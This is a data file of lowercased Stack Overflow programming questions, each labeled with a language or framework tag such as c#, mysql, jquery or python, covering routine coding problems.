c# why am i getting this output  output is writing object names more then once  im making a simple d&amp;d battle program. i m trying to get the program to make random amount objects named enemy. which i think i accomplished but when i <code>console.writeline</code> the list of enemies i get doubles of the same object     <pre><code>namespace consoleapp2 { public class enemy {      int hp = tool.randomnum(5  20);      public static int currentenemies;     public string name =  enemy  ;   } public static void createenemies(int numberofenemies)  list&lt;enemy&gt; enemieslist = new list&lt;enemy&gt;(); int enemyname=0; while (numberofenemies&gt;0) {                          numberofenemies--;     enemyname++;     enemieslist.add (new enemy { name =  enemy   + (enemyname) });     foreach  (var enemy in enemieslist)     {       console.writeline(enemy.name);     }       enemy.currentenemies++;   } static void main(string[] args) {     tool.createplayers();     tool.createenemies(tool.randomnum(1 10));           //tool.randomnum(highest possible value  lowest)     console.writeline( {0} enemies approach...   enemy.currentenemies);     console.writeline( {0} fighters stands ready...   player.currentplayers);  } </code></pre>   outputs:   <pre><code>  how many players  1   player 1 what is you name  ragnar   enemy 1   enemy 1   enemy 2   enemy 1   enemy 2   enemy 3   enemy 1   enemy 2   enemy 3   enemy 4   enemy 1   enemy 2   enemy 3   enemy 4   enemy 5   enemy 1   enemy 2   enemy 3   enemy 4   enemy 5   enemy 6   enemy 1   enemy 2   enemy 3   enemy 4   enemy 5   enemy 6   enemy 7   7 enemies approach...   1 fighters stand ready...   press any key to continue . . . </code></pre>   it seems like the program is making the correct amount of enemy but writing their names multiple times.,c#
mysql conditional insert   i have trawled through tens of forums now to find mysql syntax to insert a row if there is no other row in the table that contains a give value.    i know it has to be simple but so far have found nothing that does what i need...    my requirement is simply:    <code>if not exists (select * from table1 where int_value2 = 123) then  insert into table1 (value1  int_value2  value3) values ( a   1   a );</code>    i apologise for how simple i know this is going to be but thanks in advance for any help you can offer.,mysql
how does main app know when an sub app has been installed in ios   how does an app know when an app by the same developer has been installed in ios,ios
is it possible to show loader (progress bar) for one second in a ajax call  this is my web page as shown in the screen shot .    <img src= https://i.stack.imgur.com/zr8mh.png  alt= enter image description here >    once the user logs into the application an clicks on the back button   i shouldn t show him the login page   but instead show him the page where he/she has logged into after clicking on the submit button .    <strong>similar to gmail functionality from google .</strong>    i was able to achive this behaviour   but some how i couldn t show the progress bar (once clicked on browser back button i am directly showing the after logged in page )    <strong>html :</strong>   <pre><code>&lt;div id= loader  class= loadermain &gt;      &lt;div class= loading_inner &gt;&lt;img src= images/loader.gif /&gt;&lt;/div&gt;             &lt;/div&gt; </code></pre>   <strong>js :</strong>   <pre><code>function submitloginformforbackbutton(email   password) {   var email_input = email ;   var pin_input = password;   var logininfo = {      email : email_input       pin : pin_input   };   var login_information = json.stringify(logininfo);   $.ajax({     type:  post       datatype:  json       data: login_information      async: true      contenttype:  application/json; charset=utf-8       cache: false      url: url +  /regents/orn/webchecklogin       timeout: 7000          beforesend: function()                     {                         $( #loader ).show();                      }                       complete: function()                      {                        $( #loader ).hide();                     }      success: function(response) {        ---------       ----------       ----------     }    }); } </code></pre>   <strong>css :</strong>   <pre><code>.loadermain{     width: 100%;     height: 101%;     display:none;     background: none;     position: fixed;     z-index: 99999;     top:0px;     transition: 0.2s;     -webkit-transition-duration:0.2s;        -moz-transition-duration:0.2s;          -o-transition-duration:0.2s; }     .loading_inner{     width:60px;     height:60px;     text-align:center;     left:50%;      top:50%;     margin-top:-34px;     margin-left:-32px;     position:absolute;     -webkit-border-radius: 5px;     -moz-border-radius: 5px;     -ms-border-radius: 5px;     -o-border-radius: 5px;     border-radius: 3px;     z-index:999999999; }  .loading_inner img{     width:32px;     margin-top:13px; } </code></pre>,jquery
does user privileges affects the execution time of my mysql query  suppose we have 2 users  a and b for a mysql db customer.    user a is having all the privileges on a particular db    and user b is having some complex specific privileges like    <pre><code>grant select insert     -&gt;     on customer.table1     -&gt;     to  user b @ server.domain      -&gt;     identified by  pwrd ;  </code></pre>   now if i run a query on customer db on table1 table  then will there be any difference in the execution times of the query when run separately each through user a and user b      and how does the privileges are actually checked at the time of the query execution or they are checked at the time of connection building itself and stored some where else     what i know is that the privileges are stored in table named as <strong> user (host user password) </strong> .,mysql
how to get a server-side asp page to display a pop-up message in the client s browser   ok. i have read dozens of articles on the fact that you can t use messagebox.show from a server-side asp page. makes sense. those articles were advocating using  alert  to pop up a message (like a confirmation message  where the user has to click  ok  to acknowledge the message). some postings talked about registering the code  but others didn t. i have tried all of the combinations i could find  but i still can t get my server-side asp page to pop up a message in my client s browser!    here s a snippet of the code in my code-behind page:   <pre><code>private void messageboxshow(page page  string message) {     literal ltr = new literal();     ltr.text = @ &lt;script type= text/javascript &gt; alert(   + message +   ) &lt;/script&gt; ;     page.controls.add(ltr); } </code></pre>   i have also tried this variation:   <pre><code>protected void mytrace(string msg) {     response.write( &lt;script&gt;alert(   + msg +   )&lt;/script&gt; ); } </code></pre>   both of these work as expected if i m going to localhost  but when i put my code on the server (under iis 7.5) the messages never appear.    can someone please give me a simple (but complete) answer that works  thanks.,asp.net
python object attribute search mechanism  as per <a href= http://www.cafepy.com/article/python_attributes_and_methods/python_attributes_and_methods.html  rel= nofollow >this article</a>   <blockquote>    when accessed objectname.attributename  the following objects are searched in sequence for the attribute:  </blockquote>   1. the object itself (<code>objectname.__dict__</code> or any python-provided attribute of objectname).    2. the object s type (<code>objectname.__class__.__dict__</code>). observe that only <code>__dict__</code> is searched  which means only user-provided attributes of the class. in other words <code>objectname.__bases__</code> may not return anything even though <code>objectname.__class__.__bases__</code> does exist.    3. the bases of the object s class  their bases  and so on. (<code>__dict__</code> of each of <code>objectname.__class__.__bases__</code>). more than one base does not confuse python  and should not concern us at the moment. the point to note is that all bases are searched until an attribute is found.    to test the theory i created this example   <pre><code>class superb(object):     svar=1  class sub(superb):     ...  class leaf(sub):     def __init__(self):         print(leaf.svar)  lobj=leaf() </code></pre>   the instance creation worked and printed the value of leaf.svar (as 1).  this means that when resolving leaf.svar  python looked at the <em>base of the base of the leaf object</em>  which is not something mentioned in the article. as per the article  <em>bases of the object s class</em> (i.e. type) are searched . i doubt that the article writer made any mistake it s most certainly a gap in my understanding. can someone please clarify.,python
terminology for query to group and find difference of number greater than 3   hello everyone i am an sql noob and can t figure this out and not sure what i need to look for terminology wise to figure it out so even just the proper terms to research would be of great help.    that said  here is the table i need to query: <a href= http://i.stack.imgur.com/ngfxg.png  rel= nofollow >port table</a>    with that table i need to be able to find out which countries have more than two ports and which of those ports have a difference of more than 3 docks.    the data should be formatted to look like this: <a href= http://i.stack.imgur.com/uigmj.png  rel= nofollow >final query format</a>,sql
webkit scrollbars in one place  not another  i m using webkit scrollbars in a scrollable div. that s working great. however  i d like the actual page s scrollbars to be the os default. how can i use css selectors to make the webkit scrollbars only apply to the div  an example:  <a href= http://jsfiddle.net/zxj4m/  rel= nofollow >http://jsfiddle.net/zxj4m/</a>,css
why does array.push() seem to push infinite times   consider the following javascript code    <pre><code>&gt;&gt; a = [1  2]   array [ 1  2 ]  &gt;&gt; a.push(a)    array [ 1  2  array[3] ]  </code></pre>   on expanding the array  <code>a</code>  we get an array with infinite depth. (as viewed on the firefox developer console)   <pre><code>array[3] | 0: 1 | 1: 2   2: array[3]   | 0: 1   | 1: 2   | 2: array[3]     | 0: 1     | 1: 2     | 2: array[3]     .... </code></pre>   [1] why is a getting appended more than once <br> [2] at what depth does it stop,javascript
where does an android.graphics.path object store its data   i can see nested classes in the docs  but no fields  just methods. i m trying to understand how the path is built.,android
does angularjs have any good tutorials on how to create a simple grid   i have the following coded with knockout:   <pre><code>        &lt;form action= /someserversidehandler &gt;             &lt;p&gt;you have asked for &lt;span data-bind= text: citys().length &gt;&amp;nbsp;&lt;/span&gt; city(s)&lt;/p&gt;             &lt;table data-bind= visible: citys().length &gt; 0 &gt;                 &lt;thead&gt;                     &lt;tr&gt;                         &lt;th&gt;id&lt;/th&gt;                         &lt;th&gt;name&lt;/th&gt;                         &lt;th /&gt;                     &lt;/tr&gt;                 &lt;/thead&gt;                 &lt;tbody data-bind= foreach: citys &gt;                     &lt;tr&gt;                         &lt;td&gt;                             &lt;input class= required  data-bind= value: cityid  /&gt;&lt;/td&gt;                         &lt;td&gt;                             &lt;input class= required  data-bind= value: name  /&gt;&lt;/td&gt;                         &lt;td&gt;                             &lt;input class= required  data-bind= value: description  /&gt;&lt;/td&gt;                         &lt;td&gt;&lt;a href= #  data-bind= click: $root.removegift &gt;delete&lt;/a&gt;&lt;/td&gt;                     &lt;/tr&gt;                 &lt;/tbody&gt;             &lt;/table&gt;              &lt;button data-bind= click: addcity &gt;add city&lt;/button&gt;             &lt;button data-bind= enable: citys().length &gt; 0  type= submit &gt;submit&lt;/button&gt;         &lt;/form&gt; </code></pre>   i would like to move this to angularjs but i am not sure where to start. as you can see it s a very simple grid. it s all i need. i don t need the complexity of ng-grid.     has anyone seen any tutorials or example of simple grids that i could use to help me convert the above to an angularjs grid     one more small question. i looked into using ng-grid but the things that put me off using it were the size and the fact it required jquery. does anyone know what happens if i don t have jquery  will it still work  also what s the minimum size of ng-grid. i just noticed one download like saying 800k !,angularjs
new javascript date from a string and formatting template   i have an application that works in several  cultures .  i will be using many date formats.    i have a string with my format (i.e.  d/m/y   but keep in mind this is variable) and 2 text inputs with dates in that given format.    i need to compare the dates in input box 1 to input box 2.  i had a method that did this fine  until we added the international formatting.   <pre><code>new date(enddate) &gt;= new date(startdate) </code></pre>   this used to work with u.s. only dates.  it does not now.  is there a method i can use that works like this :   <pre><code>new date(enddate   d/m/y ) </code></pre>,javascript
how to solve .net framework system.invalidprogramexception error  i was getting this error while trying to run basic flasher tool.<br> i have attached screenshots below. <br> <a href= https://i.stack.imgur.com/hkcrg.png  rel= nofollow noreferrer >screenshot 1</a><br> <a href= https://i.stack.imgur.com/zqduo.png  rel= nofollow noreferrer >screenshot 2</a>,.net
count all records that does not exist to other table - sql query  i have two(2) tables and i m trying to count all records from table1 and table1_delta were pagename from table1_delta is not yet listed into table1. incase pagename from table1_delta is listed to table1  status must be 1 so that it will be included in count result.    sample table structure:    <strong>table1</strong>   <pre><code>+-----------+--------+ | pagename  | status | +-----------+--------+ | pagename1 |   2    | | pagename2 |   1    | +-----------+--------+ </code></pre>   <strong>table1_delta</strong>   <pre><code>+-----------+ | pagename  | +-----------+ | pagename1 | | pagename2 | | pagename3 | | pagename4 | +-----------+ </code></pre>   the table sample should return <strong> 3 </strong>.     pagename3 and pagename4 is not listed in table1(that returns 2) and pagename2 from table1 has an status = 1(that returns 1). in total there are <strong>3 pagenames</strong> from table1_delta that are not listed in table1 and record from table1 where status = 1. i m wondering on how will be the query of this  i m using mysql v5.6.17. thanks!,mysql
what options i have to implement drag&drop of elements onto ui-calendar  i want to achieve a drag&amp;drop of elements in the page onto ui-calendar.    same question has been asked but using angular-dragdrop directive. <a href= https://stackoverflow.com/questions/22368621/how-to-dragdrop-elements-onto-a-calendar-with-angular-directives-only >how to drag&amp;drop elements onto a calendar with angular directives only</a>    what are my options to implement this drag&amp;drop      an other resource found on the github issue tracker of ui-calendar: <a href= https://github.com/angular-ui/ui-calendar/issues/43  rel= nofollow noreferrer >https://github.com/angular-ui/ui-calendar/issues/43</a>    i have try by using ngdraggable but without success  the ondrop of the calendar is not called.,angularjs
get values from different arrays javascript  i am using yahoo s placemaker to extract location names from text. from this i get a callback function which gives me 2 different types of arrays.    this is the code am using but i cant any of the values i want.   <pre><code>  placemaker.getplaces(text function(o){   if (typeof o.match!== undefined  &amp;&amp; o.match.length==1){    latitude=o.match.place.centroid.latitude  longitude=o.match.place.centroid.longitude;     console.log(latitude longitude);}    if(typeof o.match !== undefined &amp;&amp; o.match.length==2){     latitude=o[match].place.centroid.latitude      longitude=o[match].place.centroid.longitude;    console.log(latitude longitude);       } </code></pre>   the first array looks like this   <pre><code>({     match: {         place: {             woeid:  29007292               type:  town               name:  jubila  west bengal  in               centroid: {                 latitude:  23.1626                   longitude:  87.7889              }         }          reference: [{             woeids:  29007292               placereferenceid:  2               placeids:  1               start:  14               end:  20               isplaintextmarker:  1               text:  jubila               type:  plaintext               xpath: null         }  {             woeids:  29007292               placereferenceid:  3               placeids:  1               start:  82               end:  88               isplaintextmarker:  1               text:  jubila               type:  plaintext               xpath: null         }]     } }) </code></pre>   and the other one like this   <pre><code>({     match: [{         place: {             woeid:  23424950               type:  country               name:  spain               centroid: {                 latitude:  39.8949                   longitude:  -2.98831              }         }          reference: {             woeids:  23424950               placereferenceid:  1               placeids:  1               start:  64               end:  70               isplaintextmarker:  1               text:  espa\xf1a               type:  plaintext               xpath: null         }     }  {         place: {             woeid:  24865675               type:  continent               name:  europe               centroid: {                 latitude:  52.9762                   longitude:  7.85784              }         }          reference: {             woeids:  24865675               placereferenceid:  2               placeids:  2               start:  93               end:  99               isplaintextmarker:  1               text:  europa               type:  plaintext               xpath: null         }     }] }) </code></pre>,javascript
overflow on table td  how can you put an overflow property on a cell in a table     <a href= http://jsfiddle.net/e8bxj/  rel= nofollow >http://jsfiddle.net/e8bxj/</a>   <pre><code>table {     width:100px;     height:100px; }  td.content {     overflow:auto; }  &lt;table&gt;     &lt;tr&gt;         &lt;td&gt;hmm&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td class= content &gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;             sadfasf&lt;br&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;hmm&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>,css
is creating an nsstring or nsarray expensive   i m working on optimizing the performance of my tableviews  and was wondering how expensive it is to create simple objects like a string or array within <code>cellforrowatindexpath</code>. the other option  of course  is to create the object as an ivar and set it each time a new cell gets loaded.     which is better  creating a new object for each cell  or resetting the same object for each cell     note: i m using these objects to do a number of different things  for example i m creating a string to check the length of text i m downloading from a server before passing it to the cell.,objective-c
autopostback=true causing form to fire page_load event more than once  i have a dropdownlist with an <code>selectedindexchanged</code> event listener   <pre><code>&lt;asp:dropdownlist id= loanoptioncombo  runat= server  autoprostback= true &gt; </code></pre>   listener   <pre><code>protected sub loanoptioncombo_selectedindexchanged(byval sender as object  byval e as eventargs) handles loanoptioncombo.selectedindexchanged       hello world  no code here yet end sub </code></pre>   my <code>page_load</code> event   <pre><code>protected sub page_load(byval sender as object  byval e as system.eventargs) handles me.load       parse a .txt file and populate the dropdownlist     initializeloanoptions() end sub </code></pre>   when the form initially loads  the loan options are loaded into the dropdownlist (currently 4).    whenever the user selects a loan option for the dropdownlist  the drowdownlist gets re-initialized somehow  adding the same 4 options to the list again.    each time the user selects another option  the same 4 options are re-added to the list.    i m assuming the page_load event is being called again because that s the only place where i m actually adding the dropdownlist items.  no other place in code interacts with the drowdownlist.items.    <strong>how can i listen to the selectedindexchanged event on my dropdownlist but avoid re-initializing my whole form </strong>,asp.net
getting the assigned id of button on click  lets say i have a xml layout with 20 imagebuttons. each imagebutton has been assigned an id like:   <pre><code>android:id= @+id/button1  android:id= @+id/button2  .. upto android:id= @+id/button20  </code></pre>   all the imagebuttons have been assigned to the same onclick method in the layout xml using:   <pre><code>android:onclick= onbuttonclicked  </code></pre>   in my activity the button click is handled using   <pre><code>public void onbuttonclicked(final view v) {      log.e( v   v.tostring());     log.e( v  string.valueof(v.getid()));  } </code></pre>   when a button is clicked  i want to get the value of my assigned id. so if i click on button with my assigned id of say <code>android:id= @+id/button17 </code> i want to say log the value <code>button17</code>    the above example logs the android assigned id like:   <pre><code>v: android.widget.imagebutton@415046c0 v: 2131492894 </code></pre>   where as i want to get say <code>button17</code>,android
python - get relative path of all files and subfolders in a directory  i am searching for a good way to get relative paths of files and (sub)folders within a specific folder.     for my current approach i am using <code>os.walk()</code>. it is working but it does not seem  pythonic  to me:   <pre><code>myfolder =  myfolder  fileset = set() # yes  i need a set()  for root  dirs  files in os.walk(myfolder):     for filename in files:         fileset.add(root.replace(myfolder    ) + os.sep + filename) </code></pre>   any other suggestions     thanks,python
jquery: weirdest issue with submitting a form with jquery   i ve been stuck with this issue for almost 3 days!    i have an input button: <code>&lt;input type= button  id= submit  value= upload /&gt;</code> using jquery 1.6.1  in the document.ready  i m binding the button to submit the form like this:   <pre><code>$( #submit ).click(function() {      $( form ).submit(); }); </code></pre>   using firebug  the line <code>$( form ).submit()</code>; causes an error with jquery! after 3 days of trying to figure out the issue  it seems that naming the input button id= submit  is what s causing the bug! when i changed the id to something else  it worked!    any technical explanation to this,jquery
build pyramid pattern using list comprehension in python   can anyone show me how to create half pyramid using list comprehension       for example    <pre><code>* ** *** </code></pre>   i tried but did not succeed.      i am trying to convert following code into using dictionary comprehension    <pre><code>for i in range(0  n):      for j in range(0  i+1):          print( *   end=  )      print( \r ) </code></pre>,python
error when get value in <ul><li> <pre><code>&lt;div class= heading &gt; &lt;ul&gt; &lt;li id= one &gt;one&lt;/li&gt; &lt;li id= two &gt;two&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre>   i using this jquery   <pre><code>&lt;script&gt; $(document).ready(function(){     $( .heading ul li ).click(function(){         var type1 = $( #one ).val();         var type2 = $( #two ).val();         if(type1) {             alert( 1 );         } else {             alert( 2 );         }     });     }); &lt;/script&gt; </code></pre>   => error when click on one or two  result is 2  too   how to fix it,jquery
php code to calculate if three sides equal a triangle  how would i go about writing the php code that would take the inputs of three form fields and calculate whether or not they result in a triangle      would the best way to go about be an if/else statement,php
how to determine a  width  of string in jquery  i have a input box which it s for email accounts  it s bg-image is  @mydomain.com  positioned in right  and user could make their own email account in my system.    after they typed their user  for example  behzad   i want to the bg-image of the input comes in left and fill the empty space if there is.    for example  someone types  x  for the user name  and because the  @mydomain.com  is positioned in right  there is lots of free space between  x  and  @mydomain.com   it s like  x(space space space space space...)@mydomain.com  i want that on blur of that input box  it goes like this  x@mydomain.com .   <pre><code>$( #email-input ).blur(function(){     $(this).css( background    new_position ) }); </code></pre>   how  new_position  could be determined based by the user input string width,jquery
how to get selective rows in mysql   i ve increasing values from a random number like <code>2 3 5 8</code> and then again it starts from some number like<code>4 5 6 7</code> and then starts again from some number like <code>1 2 3 4 6</code>     so i have data in this arrangement <code>2 3 5 8 4 5 6 7 1 2 3 4 6 (single column)</code>.    now  what i want is  i want to get the highest value in each sequence. in the given data  i want rows with values 8 for first data items  7 for second and 6 for third. so i need three rows in the above data.    what kind of query i need to write  or i need a cursor,mysql
namespace dict   i m devising a template language. in it  there are 3 kinds of tokens: tags  directives  and variables. each of these tokens have a name  and there s getting to be quite a few of them. they re extensible too.    to allow name reuse i want to add namespaces.     right now all the variables are just stored in a dict. the key is the variable name  and the value is the variable value. that way i can quickly retrieve the value of a variable. however  supposing i want to allow dot-notation  <code>namespace.variable</code>  how can i store these variables  such that the namespace is optional  if the namespace is included the dict should only scan that namespace  if not  i guess it scans all namespaces.    is there a container that will do this,c#
how to show and hide button for particluar time interval  hi i need to show a button after every 120 second for a time inteval of 20 decond and then the button disppaers and after another 120 sec again the same thigs happen .if some one can help it would be great .    regards abhi,iphone
what is the following code trying to demonstrate  <pre><code>int main(void) {     char x;     int y=1280;     x=y;     printf( %d   x); } </code></pre>  <blockquote>    output: 0  </blockquote>   i remember that int = 4 byte and char is merely 1 byte. so we re trying to squeeze a 4 byte data into a 1 byte space  but why is the output 0,c
how to add the library for oauth  i am facing this error  what will be poosible reason for that error   <pre><code>ld: library not found for -loauth collect2: ld returned 1 exit status command /developer/platforms/iphonesimulator.platform/developer/usr/bin/gcc-4.2 failed with exit code 1 </code></pre>   thanks for any help.,iphone
setting current year value as integer  i would like to get the current year ans set the value as:   <pre><code> 1  if year is 2015  2  if year is 2016 </code></pre>   and so on. is it possible    <pre><code>int year = calendar.getinstance().get(calendar.year); </code></pre>   using this method gives me year as 2015 however  i want to equate it to 1 or 2 and so on based on date.,java
where should i put the custom validators in rails 5   i am trying to add an email custom validators for my app; however  where should i place the custom validator  (i really do not want to place this validator class inside the model) is there a cli generator for validator      <a href= http://guides.rubyonrails.org/active_record_validations.html  rel= noreferrer >http://guides.rubyonrails.org/active_record_validations.html</a>   <pre><code>class emailvalidator &lt; activemodel::eachvalidator   def validate_each(record  attribute  value)     unless value =~ /\a([^@\s]+)@(( :[-a-z0-9]+\.)+[a-z]{2 })\z/i       record.errors[attribute] &lt;&lt; (options[:message] ||  is not an email )     end   end end  class person &lt; applicationrecord   validates :email  presence: true  email: true end </code></pre>   what s the convention location/path for custom validator,ruby-on-rails
infobutton not displaying modalview  when pressing infobutton it is not displaying modalview   <pre><code>  uibarbuttonitem *infoitem = [[uibarbuttonitem alloc]                             initwithtitle:@ info                              style:uibarbuttonitemstylebordered                             target:self                            action:@selector(displaymodalview:)];      - (void)displaymodalview  {  self.window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]];  self.viewcontroller = [[infoviewcontroller alloc] init];  uinavigationcontroller *navigationcontroller=[[uinavigationcontroller alloc] init];  navigationcontroller.navigationbar.tintcolor = [uicolor browncolor];    [navigationcontroller pushviewcontroller:_viewcontroller animated:yes];  [_window addsubview:navigationcontroller.view];  self.window.rootviewcontroller = self.viewcontroller;  [self.window makekeyandvisible];     } </code></pre>   anyone can help me please what is the problem in this.    thanks a lot in advance for helping me out,iphone
i keep getting this error warning: mysql_query() expects parameter 1 to be string <blockquote>    warning: mysql_query() expects parameter 1 to be string  resource   given in c:\xampp\htdocs\demo\mysql\login_create.php on line 26  </blockquote>   query failed. my code below   <pre><code>  $connection = mysql_connect( localhost    root        loginapp );     if($connection){         echo  we are connected ;     }     else{      die( database connection failed );     }      $query =  insert into users(username password) ;     $query .=  values ( $username    $password ) ;     $result = mysql_query($connection  $query);     if(!$result){         die( query failed  . mysql_error());     } } </code></pre>,php
creating temp column upon logic  how can i create a temp (empty) column in which values will be inserted upon logic:   <pre><code>select ...  *temp_col*  from *table*  if *table.column_1* is not null  then *temp_col=table.column_1*  else temp_col=table.column_2 </code></pre>   note: colume_1 is a clob field which will be transformed to text. someone advised me to use the exist condition.,sql
update via xml or sqlite db file if possible   i m developing an app using uitableview driven content.    current testing is done with local xml of size 100kb. this info should update about once every 2 months. the flow is reading pre-sorted xml -> convert to nsdictionary -> uitableview    since parsing xml will take some work during load every time  plus table index  sorting and searching seems clumsy. so i have this idea about storing such info in a sqlite db file    my real question is whether it s possible to download the entire sqlite db file via http(s) instead of xml to update the info,iphone
non ascii char to binary or integer in c++  i have an string (iso 8859-1) with some non ascii chars  any idea how i cast to an integer or binary     example    str has this text:  value 5= \377\242\242     i need to transform \377\242\242 to binary (i tried with atol or strtol but doesn´t work)    thanks,c++
do i need to use volatile keyword if i declare a variable between mutexes and return it   let s say i have the following function.   <pre><code>std::mutex mutex;  int getnumber() {     mutex.lock();     int size = somevector.size();     mutex.unlock();     return size; } </code></pre>   is this a place to use <code>volatile</code> keyword while declaring size  will return value optimization or something else break this code if i don t use volatile  the size of <code>somevector</code> can be changed from any of the numerous threads the program have and it is assumed that only one thread (other than modifiers) calls <code>getnumber()</code>.,c++
ensure method is only called once per input within x seconds  i have a method that i need to ensure runs only once within a time frame per input. for example the method would be;   <pre><code>void performaction(string input); </code></pre>   the current implementation blocks the method for x seconds for any input;   <pre><code>int timeout = 0; void performaction(string input) {      if (hasbeenused()) return;      //carryout task }  private boolean hascalldelay() {    long currenttime = system.currenttimemillis();     if ((currenttime - timeout) &lt; time_delay) return true;    timeout = currenttime;     return false; } </code></pre>   this works for single method calls  is there an elegant way to only time out for the same input  so if  hello  was entered it would ignore for x time before they could call with  hello  again.    i was thinking maybe some kind of data structure that removes entries after some time. also for now this will only ever be called from one thread  but i am guessing the solution above would not work with multiple threads.    this is a local service that runs  and there are a few clients that can connect to it and call the method. the problem is that the user can double press on the ui and end up calling the task twice  i can fix this on the ui however i would need to ensure that all future clients also do the same  so would rather stop it on the service.,java
naming conflict with keyword object  so i have this simple problem that i m struggling with. consider this code:   <pre><code>namespace foo {     public class bar     {         public void test(string object)         {         }     } } </code></pre>   this function throws a syntax error because <code>object</code> is a keyword in c#. is there a way to solve that  in my real code i have a framework that uses function s signature to create an api and i should really use <code>object</code> name as parameter.,c#
can t compare the values in if method  can t understand that the object is nil:   <pre><code>if ([self indexfromobjectproperty:uuid])     {} else      {} </code></pre>   the problem is that indexfromobjectproperty can be 0 but i need to check the situation when there is no such element in array.   <pre><code>-(nsinteger)indexfromobjectproperty:(nsstring *)property {     nsinteger iindex;     for (int i = 0; i &lt; [items count]; i++)     {         if([property isequaltostring:[[items objectatindex:i] objectforkey:@ uuid ]])         {             iindex = i;         }     }     return iindex; } </code></pre>   how can i solve this,objective-c
association names must be a symbol rails  hello guys i am developing an application with 2 models in ror my routes.rb file   <pre><code>resources :questions do        resources :answers end </code></pre>   one of my model :   <pre><code>class answer &lt; activerecord::base   belongs_to question end </code></pre>   another model :   <pre><code>class question &lt; activerecord::base   has_many :answers  :dependent=&gt;:destroy end </code></pre>   and my show.html.erb file   <pre><code>&lt;h1&gt;&lt;%= @question.title %&gt;&lt;/h1&gt; &lt;p&gt;&lt;%= @question.details %&gt;&lt;/p&gt; &lt;small&gt;&lt;%= @question.created_at %&gt;&lt;/small&gt; &lt;h1&gt;answers&lt;/h1&gt; &lt;%= render @question.answers %&gt; &lt;h2&gt;add an answer&lt;/h2&gt; &lt;%= render  answers/form %&gt; </code></pre>   when i trigger show action i am getting following error: association names must be a symbol,ruby-on-rails
mysql dynamic variables against column name  how can i generate a dynamic variable with a column value  i got  s1  as value of a column  and i have defined a variable already as @s1  how can i access that variable using the current value of columnn.    example:   <pre><code>select abr  @abr from table           ^---- this doesn t exist  but instead of this i need to evaluate @s1. </code></pre>,mysql
return only the top row for each join  this is my current query:   <pre><code>select      u.username  s.statusname from      userstatus us     join status s on s.statusid = us.statusid     join users u on u.userid = us.userid where      us.userid in (select userid from users)     and us.datecreated &gt;  2017-07-14 00:00:00.000  order by      us.datecreated desc </code></pre>   it returns this:    <a href= https://i.stack.imgur.com/sgtjx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sgtjx.png  alt= enter image description here ></a>    how would i get only the most recent status for each user     <strong>edit:</strong>    i can t just do <code>select top 2</code> because i don t know how many users there are going to be.  there might be 500.  there might be 10.,sql
coloured indication boxes on website  what i am trying to do is create a grid of data for clients against days. ie  if their backups worked  they get a green square against that day  in a html page.    is there any css or something else that would do the job to check to see if a text document with date and  success  or  fail  is in a directory  then change the background colour of a box in a html file  i m planning on creating a folder for each client  then having the text files named  20110201success  or  20110201failed     thanks for any direction you could give me.,html
how to get total time in sql  good day  i need help though i have looked/searched other question like mine but it s not just what i am looking for. <em>that i want to get the total time</em> with this kind of data format. i have tried getting the total date by this query:    <pre><code>select datediff(max(date(in_out))  min(date(in_out))) as datediffs   from `tbl_tmpdtr` where userid = 1002 </code></pre>   and i get what i just needed  now i want to get the total time and what i have tried so far is this query:   <pre><code>select max(time(in_out))-min(time(in_out)) as minus from `tbl_tmpdtr` where date(in_out) =  2015-05-01  </code></pre>   but the result was a whole number like this:    <pre><code>minus 90000 </code></pre>   what am i missing  or lacking. what i want is to query the total time where date= 2015-05-01 . then after achieving that  the total time where id=1002.    i have this data in my database(mydb) table(tbl_tmpdtr):   <pre><code>id  |  userid  |  in_out             |  status 1   |  1002    | 2015-05-01 09:00:00 |  in 2   |  1002    | 2015-05-01 18:00:00 |  out 3   |  1002    | 2015-05-02 09:00:00 |  in 4   |  1002    | 2015-05-02 18:20:00 |  out 5   |  1002    | 2015-05-03 09:30:00 |  in 6   |  1002    | 2015-05-03 18:10:00 |  out </code></pre>,mysql
how to make a timetable/ appointment system in rails   this is what i want:     <img src= https://i.stack.imgur.com/u0geg.jpg  alt= enter image description here >    it is like an appointment system/personal schedule. for example  a doctor have 4 periods of working time(sessions) everyday  and in each session he will have some patient to meet(the number in the table field). so his schedule look like the picture above.    at first thought  it looks like: every <code>day</code> has many <code>sessions</code>. and a <code>session</code> contains some other information like the number of patients  etc. (and do not need to set its specific time period. )    the problem is how to set this up  i just have no clue about what the model should like. how should <code>session</code> relates to <code>time/day</code>  and it seems <code>day</code> and <code>session</code> are already created.    i feel this could just be done with <code>session</code> model  the model could contain some time attribute to sort them like the mock-up above.    i have checked some calender gem/plugin( e.g fullcalender)  but they does not seem to help this problem.,ruby-on-rails
how to capture screenshots using ui automation on a iphone   i connected my iphone 5s running ios 8.3 to my mac which  runs my script using  automation instrument   and i want to capture screenshots of ui during this process on my iphone 5s and save them to my mac s disk at a particular location.    1.printing  target.logelementtree();  displays my elements but what i want is  screenshot of device in realtime during run of automated script  so can we save the screenshot using this approach         2.i don t have the code of the app except the .ipa     thanks for your time and efforts in going through or answering this question,iphone
android onwindowfocuschanged  i want to override the method onwindowfocuschanged  but everytimei write it elcipse gives me a error message saying @override annotation is wrong  which means that i am not overriding the method but creating a new one.    maybe i havnt included the package necessary,android
determine reason for system.obsoleteattribute  is there a standard way to determine why a class is marked obsolete (other than a human typing things into google etc.)  if you stumble upon a warning about something being obsolete  there is an obvious next bit of information that is needed.,.net
how to print a specific area of a web page in c sharp  hey guys  m building a web-page in that theres a   tag which holds some documentary data  so i want to print that specific data and not the whole page i.e banner  textfeilds etc... since i know window.print() function prints the whole page  but how to print a sepicific area in a page.,asp.net
names are missing when decompiling dll  i have a dll-file i m not able to fully decomplie neither with .net reflector nor jetbrains dotpeek.    basically all fields are missing their names like:   <pre><code>private int ; private string ; private bool ; </code></pre>   is the dll obfuscated  or could these names be generated on runtime,.net
